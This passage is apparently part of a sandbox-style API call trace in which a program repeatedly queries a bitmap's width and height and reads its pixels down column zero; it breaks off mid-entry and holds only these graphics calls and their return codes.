[0281.656] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=130, color=0x1ceb50) returned 0x0 [0281.656] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.657] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.657] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=131, color=0x1ceb50) returned 0x0 [0281.658] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.658] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.658] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=132, color=0x1ceb50) returned 0x0 [0281.659] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.659] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.659] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=133, color=0x1ceb50) returned 0x0 [0281.660] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.660] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.660] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=134, color=0x1ceb50) returned 0x0 [0281.663] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.663] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.664] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=135, color=0x1ceb50) returned 0x0 [0281.664] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.664] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.665] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=136, color=0x1ceb50) returned 0x0 [0281.665] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.665] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.666] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=137, color=0x1ceb50) returned 0x0 [0281.666] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.666] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.667] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=138, color=0x1ceb50) returned 0x0 [0281.667] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.667] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.668] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=139, color=0x1ceb50) returned 0x0 [0281.668] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.668] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.669] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=140, color=0x1ceb50) returned 0x0 [0281.669] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.669] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.670] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=141, color=0x1ceb50) returned 0x0 [0281.670] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.670] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.671] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=142, color=0x1ceb50) returned 0x0 [0281.671] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.671] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.672] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=143, color=0x1ceb50) returned 0x0 [0281.672] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.672] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.673] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=144, color=0x1ceb50) returned 0x0 [0281.673] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.673] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.674] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=145, color=0x1ceb50) returned 0x0 [0281.674] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.674] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.675] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=146, color=0x1ceb50) returned 0x0 [0281.675] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.675] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.676] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=147, color=0x1ceb50) returned 0x0 [0281.677] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.678] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.678] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=148, color=0x1ceb50) returned 0x0 [0281.678] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.679] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.679] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=149, color=0x1ceb50) returned 0x0 [0281.679] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.680] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.680] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=150, color=0x1ceb50) returned 0x0 [0281.680] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.681] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.681] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=151, color=0x1ceb50) returned 0x0 [0281.681] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.682] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.682] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=152, color=0x1ceb50) returned 0x0 [0281.682] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.683] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.683] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=153, color=0x1ceb50) returned 0x0 [0281.683] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.684] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.684] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=154, color=0x1ceb50) returned 0x0 [0281.684] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.685] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.685] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=155, color=0x1ceb50) returned 0x0 [0281.685] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.686] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.686] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=156, color=0x1ceb50) returned 0x0 [0281.686] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.687] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.687] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=157, color=0x1ceb50) returned 0x0 [0281.687] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.688] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.688] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=158, color=0x1ceb50) returned 0x0 [0281.688] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.689] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.689] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=159, color=0x1ceb50) returned 0x0 [0281.689] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.690] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.690] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=160, color=0x1ceb50) returned 0x0 [0281.690] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.691] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.691] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=161, color=0x1ceb50) returned 0x0 [0281.691] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.692] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.692] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=162, color=0x1ceb50) returned 0x0 [0281.692] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.693] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.693] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=163, color=0x1ceb50) returned 0x0 [0281.693] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.694] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.694] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=164, color=0x1ceb50) returned 0x0 [0281.695] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.695] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.695] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=165, color=0x1ceb50) returned 0x0 [0281.696] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.696] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.696] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=166, color=0x1ceb50) returned 0x0 [0281.697] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.697] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.697] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=167, color=0x1ceb50) returned 0x0 [0281.698] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.698] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.698] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=168, color=0x1ceb50) returned 0x0 [0281.699] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.699] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.699] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=169, color=0x1ceb50) returned 0x0 [0281.700] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.700] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.700] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=170, color=0x1ceb50) returned 0x0 [0281.701] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.701] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.701] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=171, color=0x1ceb50) returned 0x0 [0281.702] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.702] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.703] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=172, color=0x1ceb50) returned 0x0 [0281.703] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.703] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.704] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=173, color=0x1ceb50) returned 0x0 [0281.704] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.704] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.705] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=174, color=0x1ceb50) returned 0x0 [0281.705] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.705] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.706] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=175, color=0x1ceb50) returned 0x0 [0281.706] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.706] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.707] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=176, color=0x1ceb50) returned 0x0 [0281.707] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.707] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.708] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=177, color=0x1ceb50) returned 0x0 [0281.708] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.708] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.709] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=178, color=0x1ceb50) returned 0x0 [0281.709] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.709] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.710] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=179, color=0x1ceb50) returned 0x0 [0281.710] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.710] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.711] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=180, color=0x1ceb50) returned 0x0 [0281.711] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.712] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.712] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=181, color=0x1ceb50) returned 0x0 [0281.712] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.713] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.713] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=182, color=0x1ceb50) returned 0x0 [0281.713] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.714] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.714] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=183, color=0x1ceb50) returned 0x0 [0281.714] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.715] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.715] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=184, color=0x1ceb50) returned 0x0 [0281.715] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.716] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.716] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=185, color=0x1ceb50) returned 0x0 [0281.716] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.717] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.717] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=186, color=0x1ceb50) returned 0x0 [0281.717] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.718] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.718] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=187, color=0x1ceb50) returned 0x0 [0281.718] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.719] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.719] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=188, color=0x1ceb50) returned 0x0 [0281.720] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.720] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.720] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=189, color=0x1ceb50) returned 0x0 [0281.721] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.721] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.721] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=190, color=0x1ceb50) returned 0x0 [0281.722] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.722] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.722] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=191, color=0x1ceb50) returned 0x0 [0281.723] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.723] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.723] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=192, color=0x1ceb50) returned 0x0 [0281.724] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.724] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.724] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=193, color=0x1ceb50) returned 0x0 [0281.725] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.725] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.725] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=194, color=0x1ceb50) returned 0x0 [0281.726] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.726] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.727] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=195, color=0x1ceb50) returned 0x0 [0281.727] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.727] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.728] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=196, color=0x1ceb50) returned 0x0 [0281.728] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.728] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.729] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=197, color=0x1ceb50) returned 0x0 [0281.729] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.729] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.730] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=198, color=0x1ceb50) returned 0x0 [0281.730] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.730] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.731] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=199, color=0x1ceb50) returned 0x0 [0281.731] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.731] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.732] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=200, color=0x1ceb50) returned 0x0 [0281.732] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.732] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.733] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=201, color=0x1ceb50) returned 0x0 [0281.733] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.733] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.734] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=202, color=0x1ceb50) returned 0x0 [0281.734] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.734] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.735] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=203, color=0x1ceb50) returned 0x0 [0281.735] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.735] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.736] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=204, color=0x1ceb50) returned 0x0 [0281.736] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.736] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.737] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=205, color=0x1ceb50) returned 0x0 [0281.737] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.738] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.738] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=206, color=0x1ceb50) returned 0x0 [0281.738] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.739] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.739] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=207, color=0x1ceb50) returned 0x0 [0281.739] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.740] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.740] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=208, color=0x1ceb50) returned 0x0 [0281.740] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.741] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.741] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=209, color=0x1ceb50) returned 0x0 [0281.742] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.742] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.742] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=210, color=0x1ceb50) returned 0x0 [0281.743] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.743] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.743] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=211, color=0x1ceb50) returned 0x0 [0281.744] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.744] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.744] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=212, color=0x1ceb50) returned 0x0 [0281.745] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.745] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.745] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=213, color=0x1ceb50) returned 0x0 [0281.746] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.746] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.746] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=214, color=0x1ceb50) returned 0x0 [0281.747] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.747] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.747] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=215, color=0x1ceb50) returned 0x0 [0281.748] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.748] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.748] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=216, color=0x1ceb50) returned 0x0 [0281.749] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.749] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.749] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=217, color=0x1ceb50) returned 0x0 [0281.750] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.750] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.750] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=218, color=0x1ceb50) returned 0x0 [0281.751] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.751] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.752] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=219, color=0x1ceb50) returned 0x0 [0281.752] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.752] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.753] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=220, color=0x1ceb50) returned 0x0 [0281.753] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.753] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.754] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=221, color=0x1ceb50) returned 0x0 [0281.754] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.754] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.755] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=222, color=0x1ceb50) returned 0x0 [0281.755] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.755] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.756] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=223, color=0x1ceb50) returned 0x0 [0281.756] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.756] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.757] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=224, color=0x1ceb50) returned 0x0 [0281.757] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.757] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.758] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=225, color=0x1ceb50) returned 0x0 [0281.758] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.759] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.759] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=226, color=0x1ceb50) returned 0x0 [0281.759] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.760] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.760] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=227, color=0x1ceb50) returned 0x0 [0281.760] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.761] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.761] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=228, color=0x1ceb50) returned 0x0 [0281.761] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.762] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.762] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=229, color=0x1ceb50) returned 0x0 [0281.762] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.763] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.763] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=230, color=0x1ceb50) returned 0x0 [0281.763] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.764] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.764] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=231, color=0x1ceb50) returned 0x0 [0281.765] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.765] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.765] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=232, color=0x1ceb50) returned 0x0 [0281.766] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.766] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.766] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=233, color=0x1ceb50) returned 0x0 [0281.767] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.767] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.767] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=234, color=0x1ceb50) returned 0x0 [0281.768] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.768] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.768] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=235, color=0x1ceb50) returned 0x0 [0281.769] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.769] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.769] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=236, color=0x1ceb50) returned 0x0 [0281.770] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.770] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.771] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=237, color=0x1ceb50) returned 0x0 [0281.771] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.771] GdipGetImageHeight (image=0x1072230, 